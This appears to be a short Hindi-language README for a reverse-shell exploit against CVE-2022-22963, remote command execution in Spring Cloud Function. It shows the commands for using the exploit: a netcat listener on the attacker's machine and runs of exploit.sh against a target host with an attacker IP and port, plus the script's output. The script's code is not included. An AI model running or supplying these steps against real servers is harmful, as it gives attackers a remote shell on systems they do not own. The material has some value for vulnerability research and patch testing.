Spring Cloud में RCE के लिए एक्सप्लॉइट (CVE 2022-22963)

Spring Cloud Function में रिमोट कमांड निष्पादन के लिए CVE-2022-22963 एक्सप्लॉइट

भेद्यता के विवरण के लिए यहाँ और यहाँ देखें

PoC

अपने होस्ट पर netcat चलाएँ:

$ nc -lvnp 9001

अटैकर होस्ट पर डिफ़ॉल्ट पोर्ट 9001 के साथ एक्सप्लॉइट चलाएँ (उदाहरण):

$ ./exploit.sh site.com 10.10.14.122
---[Reverse Shell Exploit for CVE-2022-22963 (RCE in Spring Cloud Function)]---
[*] Input target is site.com
[*] Input attacker is 10.10.14.122:9001
[*] Done

अटैकर होस्ट पर निर्दिष्ट पोर्ट 1337 के साथ एक्सप्लॉइट चलाएँ (उदाहरण):

$ ./exploit.sh site.com 10.10.14.122 1337
---[Reverse Shell Exploit for CVE-2022-22963 (RCE in Spring Cloud Function)]---
[*] Input target is site.com
[*] Input attacker is 10.10.14.122:1337
[*] Done

RCE-in-Spring-Cloud-CVE-2022-22963

सबसे लोकप्रिय